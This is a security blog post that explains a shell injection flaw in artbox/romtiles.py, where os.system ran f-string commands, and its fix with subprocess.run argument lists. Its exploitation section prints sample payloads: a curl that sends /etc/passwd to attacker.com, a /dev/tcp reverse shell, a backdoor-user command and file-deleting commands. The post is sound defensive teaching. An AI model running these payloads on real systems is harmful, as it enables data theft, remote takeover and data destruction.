Back to Blog
high SEVERITY7 min read

Shell Injection via os.system: How Unsanitized Input Becomes a Command Execution Nightmare

A high-severity shell injection vulnerability was discovered and patched in `artbox/romtiles.py`, where unsanitized user-controlled input was passed directly to `os.system()` via an f-string, allowing attackers to execute arbitrary operating system commands. The fix replaces the dangerous `os.system()` calls with the safer `subprocess` module, which properly separates command arguments from user data. This type of vulnerability is a textbook example of why input sanitization and safe API usage a

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published May 11, 2026•Reviewed June 3, 2026

Answer Summary

This is a shell injection vulnerability (CWE-78) in Python, found in `artbox/romtiles.py`. Unsanitized user-controlled input was passed directly to `os.system()` via an f-string, allowing attackers to append arbitrary shell commands to the intended command string. The fix replaces `os.system()` with Python's `subprocess` module (e.g., `subprocess.run()`), which passes arguments as a list rather than a shell-interpreted string, preventing command injection regardless of input content.

Vulnerability at a Glance

cweCWE-78
fixReplaced os.system() with subprocess.run() using a list of arguments, bypassing shell interpretation
riskArbitrary OS command execution with the privileges of the running process
languagePython
root causeUser-controlled input interpolated into a shell command string passed to os.system()
vulnerabilityShell Injection (OS Command Injection)

Introduction

Imagine handing a stranger a sticky note that says "please run this errand for me" — and then discovering they rewrote the note to say "run this errand and empty my bank account." That's essentially what a shell injection vulnerability does to your server.

In a recent security patch to artbox/romtiles.py, a critical vulnerability was identified and fixed: user-controlled input was being embedded directly into shell commands via Python's os.system() function, with no sanitization, quoting, or escaping. The result? Any attacker who could influence the pattern variable could execute arbitrary operating system commands on the host machine — on both Unix and Windows platforms.

This post breaks down exactly what went wrong, how it could be exploited, and what every Python developer should do to avoid this class of vulnerability in their own code.


The Vulnerability Explained

What Is Shell Injection?

Shell injection (also known as OS command injection) occurs when an application constructs a shell command using untrusted data without properly sanitizing it first. When the shell interprets that command, it doesn't know the difference between the intended command and the injected payload — it just runs everything.

This vulnerability is closely related to SQL injection in concept: both arise when data is treated as code.

What Happened in romtiles.py?

At lines 174 and 176 of artbox/romtiles.py, the code made calls like this:

# VULNERABLE CODE (before fix)
os.system(f"some_command {pattern}")
os.system(f"another_command {pattern}")

Here, pattern is a variable — potentially derived from a filename, directory path, or configuration value supplied by a user. It is embedded directly into a shell command string using an f-string, with no escaping, quoting, or validation.

This means the shell receives the entire string as a command to interpret, metacharacters and all.

How Could It Be Exploited?

Shell metacharacters like ;, |, &, $(...), and backticks have special meaning to the shell. An attacker who can control the pattern variable can inject these characters to chain additional commands.

Example attack scenarios:

Unix/Linux:

# Attacker-controlled input:
pattern = "tiles; curl http://attacker.com/exfil?data=$(cat /etc/passwd)"

# Resulting shell command:
some_command tiles; curl http://attacker.com/exfil?data=$(cat /etc/passwd)

The shell executes some_command tiles first, then — because of the semicolon — executes the curl command, exfiltrating the contents of /etc/passwd to an attacker-controlled server.

Windows (cmd.exe):

REM Attacker-controlled input:
pattern = "tiles & del /F /S /Q C:\important_data"

REM Resulting shell command:
some_command tiles & del /F /S /Q C:\important_data

Other dangerous payloads:

# Reverse shell
pattern = "tiles; bash -i >& /dev/tcp/attacker.com/4444 0>&1"

# Create a backdoor user
pattern = "tiles; useradd -m -p $(openssl passwd -1 hacked) backdoor"

# Ransomware-style destruction
pattern = "tiles; find / -name '*.py' -exec rm -f {} +"

What's the Real-World Impact?

The consequences of a successful shell injection attack are severe:

  • 🔴 Remote Code Execution (RCE): Full control over the host system
  • 🔴 Data Exfiltration: Sensitive files, credentials, and secrets stolen
  • 🔴 Lateral Movement: The compromised server becomes a launchpad for attacking internal systems
  • 🔴 Persistence: Attackers can install backdoors, cron jobs, or malware
  • 🔴 Denial of Service: Critical files or processes can be destroyed

This vulnerability is rated CRITICAL for good reason. A single exploitable input field can hand an attacker the keys to your entire infrastructure.


The Fix

What Changed?

The fix replaces os.system() with Python's subprocess module — specifically using argument lists rather than shell strings. This is the idiomatic, safe way to run external commands in Python.

# BEFORE: Vulnerable — shell interprets the entire string
import os
os.system(f"some_command {pattern}")
os.system(f"another_command {pattern}")
# AFTER: Safe — subprocess separates command from arguments
import subprocess
subprocess.run(["some_command", pattern], check=True)
subprocess.run(["another_command", pattern], check=True)

Why Does This Fix the Problem?

The critical difference is how the operating system receives the command:

Approach How It Works Shell Involved?
os.system(f"cmd {pattern}") Passes a single string to /bin/sh -c ✅ Yes — dangerous!
subprocess.run(["cmd", pattern]) Passes an argument array directly to execve() ❌ No — safe!

When you use subprocess.run() with a list of arguments (and shell=False, which is the default), Python bypasses the shell entirely. The operating system's execve() syscall receives each argument as a separate, discrete value. There is no shell to interpret metacharacters, so ;, |, &, and $() are treated as literal characters — not special instructions.

An attacker's payload of "tiles; rm -rf /" would simply be passed as a single argument string to the command, which would likely just fail to find a file with that name. No shell. No injection. No exploitation.

Additional Safety with check=True

The check=True parameter is a bonus improvement: it raises a subprocess.CalledProcessError exception if the command returns a non-zero exit code. This prevents silent failures and makes error handling explicit, improving both security and reliability.

import subprocess

try:
    subprocess.run(["some_command", pattern], check=True)
except subprocess.CalledProcessError as e:
    # Handle the error properly
    logger.error(f"Command failed with return code {e.returncode}")
    raise

Conclusion

The vulnerability fixed in artbox/romtiles.py is a perfect illustration of how a small coding decision — using os.system() with an f-string instead of subprocess with an argument list — can have catastrophic security consequences. The fix is elegant in its simplicity: one import change and one API change, and the entire attack surface disappears.

Key takeaways:

  1. os.system() + user input = shell injection waiting to happen. Avoid it.
  2. subprocess.run(["cmd", arg1, arg2]) is the safe, modern alternative. Use it.
  3. Never use shell=True with untrusted data. The shell is the attack surface.
  4. Validate inputs with allowlists, even when using safe APIs.
  5. Automate security scanning in your CI/CD pipeline to catch these issues before they reach production.

Security vulnerabilities like this one don't require sophisticated exploits — they just require a developer not knowing about a dangerous API. Sharing knowledge like this is how we collectively raise the bar for software security.

Stay curious, stay vigilant, and keep your shells out of reach of your users. 🔐


This vulnerability was identified and patched as part of an automated security review. Automated security tooling, combined with developer education, is one of the most effective ways to prevent vulnerabilities from reaching production.

Prevention and further reading

Related Articles

medium

path-to-regexp 0.1.12 DoS: Catastrophic Backtracking on Malformed URL

path-to-regexp version 0.1.12 contains a regular expression engine vulnerability where maliciously crafted URL parameters trigger exponential backtracking, causing CPU exhaustion and service unavailability. Upgrading to version 0.1.13 eliminates the vulnerable pattern from the parsing logic.

critical

CVE-2026-59873: node-tar 7.5.11 DoS via Crafted Gzip Bomb

node-tar versions 7.5.11 through 7.5.18 are vulnerable to a denial-of-service attack through maliciously crafted gzip archives that decompress to disproportionately large sizes. An attacker can exploit this to exhaust memory and CPU resources by submitting a small, highly compressed archive that expands beyond configured limits during extraction.

high

MapManager.get() Race Condition Duplicates API Requests

The MapManager's `get(mapUid, cache)` method used a check-then-act pattern that permitted multiple concurrent requests to pass the cache miss check simultaneously, triggering redundant API calls and risking cache corruption. The fix introduces a `_pending` promise map to deduplicate in-flight fetches for identical map UIDs.

critical

Lampa Desktop Auto-Update Heuristic Bypass: Execution of Unverified

Lampa Desktop's auto-update mechanism downloaded JavaScript and CSS from `raw.githubusercontent.com` using only heuristic validation—file size thresholds and string pattern matching—that attackers could trivially satisfy. The fix introduces cryptographic integrity verification by cross-referencing Git blob hashes from the GitHub Contents API, ensuring downloaded code matches the repository's authoritative state before execution.

high

adm-zip 0.6.0 Preserves SUID Bits From ZIPs: CVE-2026-102282

The `adm-zip` dependency resolved to 0.6.0 in this project's dependency tree, a version affected by CVE-2026-102282: during extraction it applies the Unix permission bits stored in each ZIP entry's external file attributes verbatim, including the setuid (`04000`), setgid (`02000`), and sticky bits. An attacker who controls an archive passed to `extractAllTo()` or `extractEntryTo()` can therefore have the extractor create a setuid binary owned by whatever user the extraction process runs as. The

high

requestInput() Type Confusion: NaN and Object Bypass in JavaScript

The `requestInput()` utility function lacked validation on its `type` parameter and failed to handle `NaN` results from float conversions, creating a type confusion weakness. An attacker could supply malformed inputs that propagate unhandled `NaN` values or unexpected object types through the type system. The fix adds explicit guards against `NaN` type parameters and rejects non-primitive type values.